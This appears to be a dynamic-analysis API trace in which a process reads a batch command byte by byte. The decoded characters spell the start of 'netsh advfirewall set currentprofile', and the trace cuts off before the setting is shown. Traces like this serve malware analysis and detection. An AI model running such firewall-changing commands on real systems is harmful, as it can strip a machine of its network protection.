	[0215.251] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c30, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0215.251] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.251] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.251] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c32, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.251] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.251] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.251] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c34, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0215.251] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.251] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.251] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c36, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0215.251] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.251] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.251] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c38, cchWideChar=1 | out: lpWideCharStr="h") returned 1
	[0215.251] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.251] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.251] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0215.252] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.252] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.252] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3c, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0215.252] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.252] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.252] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3e, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0215.252] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.252] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.252] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c40, cchWideChar=1 | out: lpWideCharStr="v") returned 1
	[0215.252] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.252] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.252] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c42, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0215.252] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.252] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.252] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c44, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0215.252] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.252] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.252] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c46, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0215.253] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.253] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.253] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.253] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.253] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.253] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4a, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0215.253] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.253] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.253] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4c, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0215.253] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.253] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.253] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4e, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0215.253] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.253] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.253] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c50, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0215.253] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.253] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.253] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c52, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0215.254] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.254] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.254] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c54, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0215.254] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.254] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.254] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c56, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.254] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.254] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.254] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c58, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0215.254] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.254] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.254] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0215.254] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.254] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.254] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5c, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0215.254] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.254] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.255] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0215.255] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.255] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.255] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c60, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0215.255] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.255] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.255] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c62, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0215.255] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.255] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.255] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c64, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.255] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.255] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.255] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c66, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0215.255] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.255] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.255] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c68, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0215.255] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.256] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.256] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6a, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0215.256] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.256] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.256] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6c, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0215.256] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.256] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.256] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6e, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0215.256] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.256] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.256] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c70, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0215.256] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.256] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.256] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c72, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0215.256] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.256] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.256] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c74, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0215.256] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.257] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.257] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c76, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.257] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.257] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.257] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c78, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0215.257] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.257] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.257] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
